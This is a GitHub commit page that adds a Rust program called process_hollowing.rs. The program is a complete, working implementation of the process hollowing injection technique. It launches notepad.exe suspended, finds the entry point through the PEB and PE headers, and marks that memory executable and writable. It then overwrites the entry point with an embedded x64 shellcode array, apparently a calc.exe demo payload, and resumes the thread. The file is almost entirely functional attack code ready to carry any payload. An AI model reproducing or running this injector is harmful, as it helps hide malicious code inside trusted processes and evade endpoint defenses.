Skip to content

Commit e464a32

Browse files
committed
Process Hollowing
1 parent 923e990 commit e464a32

File tree

1 file changed

+189
-0
lines changed

1 file changed

+189
-0
lines changed

Process/process_hollowing.rs

Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
/*
2+
Process Hollowing Technique
3+
Special Thanks to m0n0ph1 for Great Explanation: https://github.com/m0n0ph1/Process-Hollowing/tree/master
4+
@5mukx (^_^)
5+
*/
6+
7+
extern crate winapi;
8+
9+
use std::ptr::{null_mut, null};
10+
use std::ffi::CString;
11+
use std::mem::{size_of, zeroed};
12+
use winapi::um::processthreadsapi::{CreateProcessA, ResumeThread, PROCESS_INFORMATION, STARTUPINFOA};
13+
use winapi::um::winbase::CREATE_SUSPENDED;
14+
use winapi::um::memoryapi::{ReadProcessMemory, WriteProcessMemory, VirtualProtectEx};
15+
use winapi::um::winnt::PAGE_EXECUTE_READWRITE;
16+
use winapi::um::handleapi::CloseHandle;
17+
use winapi::um::errhandlingapi::GetLastError;
18+
use winapi::shared::ntdef::PSTR;
19+
use ntapi::ntpsapi::PROCESS_BASIC_INFORMATION;
20+
use ntapi::ntpsapi::NtQueryInformationProcess;
21+
22+
23+
macro_rules! okey {
24+
($msg:expr, $($arg:expr), *) => {
25+
println!("\\_____[+] {}", format!($msg, $($arg), *));
26+
}
27+
}
28+
29+
macro_rules! error {
30+
($msg:expr, $($arg:expr), *) => {
31+
println!("\\_____[-] {}", format!($msg, $($arg), *));
32+
}
33+
}
34+
35+
fn main() {
36+
unsafe {
37+
38+
let shellcode: [u8; 276] = [
39+
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
40+
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
41+
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
42+
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
43+
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
44+
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
45+
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
46+
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
47+
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
48+
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
49+
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
50+
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
51+
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
52+
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
53+
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
54+
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
55+
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
56+
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
57+
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
58+
];
59+
60+
let target = CString::new("C:\\Windows\\System32\\notepad.exe").expect("CString::new failed");
61+
let mut startup_info: STARTUPINFOA = zeroed();
62+
let mut process_info: PROCESS_INFORMATION = zeroed();
63+
64+
let process = CreateProcessA(
65+
null(),
66+
target.as_ptr() as PSTR,
67+
null_mut(),
68+
null_mut(),
69+
0,
70+
CREATE_SUSPENDED,
71+
null_mut(),
72+
null_mut(),
73+
&mut startup_info,
74+
&mut process_info,
75+
);
76+
77+
if process == 0 {
78+
error!("Failed to Create Process : {}", GetLastError());
79+
return;
80+
}
81+
82+
let mut process_basic_info: PROCESS_BASIC_INFORMATION = zeroed();
83+
let status = NtQueryInformationProcess(
84+
process_info.hProcess,
85+
0, // ProcessBasicInformation
86+
&mut process_basic_info as *mut _ as *mut _,
87+
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
88+
null_mut(),
89+
);
90+
91+
if status != 0 {
92+
error!("Failed to Query Process Information : {}", GetLastError());
93+
CloseHandle(process_info.hProcess);
94+
CloseHandle(process_info.hThread);
95+
return;
96+
}
97+
98+
let image_base_address = process_basic_info.PebBaseAddress as *mut u8;
99+
let mut base_address = 0;
100+
let read_result = ReadProcessMemory(
101+
process_info.hProcess,
102+
image_base_address.offset(0x10) as *const _,
103+
&mut base_address as *mut _ as *mut _,
104+
size_of::<usize>(),
105+
null_mut(),
106+
);
107+
108+
if read_result == 0 {
109+
error!("Failed to read the process memory: {}", GetLastError());
110+
CloseHandle(process_info.hProcess);
111+
CloseHandle(process_info.hThread);
112+
return;
113+
}
114+
115+
let mut headers: [u8; 0x200] = [0; 0x200];
116+
let read_result = ReadProcessMemory(
117+
process_info.hProcess,
118+
base_address as *const _,
119+
headers.as_mut_ptr() as *mut _,
120+
headers.len(),
121+
null_mut(),
122+
);
123+
124+
if read_result == 0 {
125+
error!("Failed to read PE headers: {}", GetLastError());
126+
CloseHandle(process_info.hProcess);
127+
CloseHandle(process_info.hThread);
128+
return;
129+
}
130+
131+
let e_lfanew = *(&headers[0x3C] as *const u8 as *const i32);
132+
let entry_point_rva = *(&headers[(e_lfanew + 0x28) as usize] as *const u8 as *const u32);
133+
let entry_point_address = base_address + entry_point_rva as usize;
134+
135+
let old_protect: u32 = 0;
136+
let protection = VirtualProtectEx(
137+
process_info.hProcess,
138+
entry_point_address as *mut _,
139+
shellcode.len(),
140+
PAGE_EXECUTE_READWRITE,
141+
&old_protect as *const _ as *mut _,
142+
);
143+
144+
if protection == 0 {
145+
error!("Failed to change memory protections: {}", GetLastError());
146+
CloseHandle(process_info.hProcess);
147+
CloseHandle(process_info.hThread);
148+
return;
149+
}
150+
151+
let write_result = WriteProcessMemory(
152+
process_info.hProcess,
153+
entry_point_address as *mut _,
154+
shellcode.as_ptr() as *const _,
155+
shellcode.len(),
156+
null_mut(),
157+
);
158+
159+
if write_result == 0 {
160+
error!("Failed to write shellcode to process memory: {}", GetLastError());
161+
CloseHandle(process_info.hProcess);
162+
CloseHandle(process_info.hThread);
163+
return;
164+
}
165+
166+
let protection = VirtualProtectEx(
167+
process_info.hProcess,
168+
entry_point_address as *mut _,
169+
shellcode.len(),
170+
old_protect,
171+
&old_protect as *const _ as *mut _,
172+
);
173+
174+
if protection == 0 {
175+
error!("Failed to restore memory protections: {}", GetLastError());
176+
CloseHandle(process_info.hProcess);
177+
CloseHandle(process_info.hThread);
178+
return;
179+
}
180+
181+
ResumeThread(process_info.hThread);
182+
okey!("Process Successfully Resumed {}", '!');
183+
184+
CloseHandle(process_info.hProcess);
185+
CloseHandle(process_info.hThread);
186+
}
187+
}
188+
189+

0 commit comments

Comments
 (0)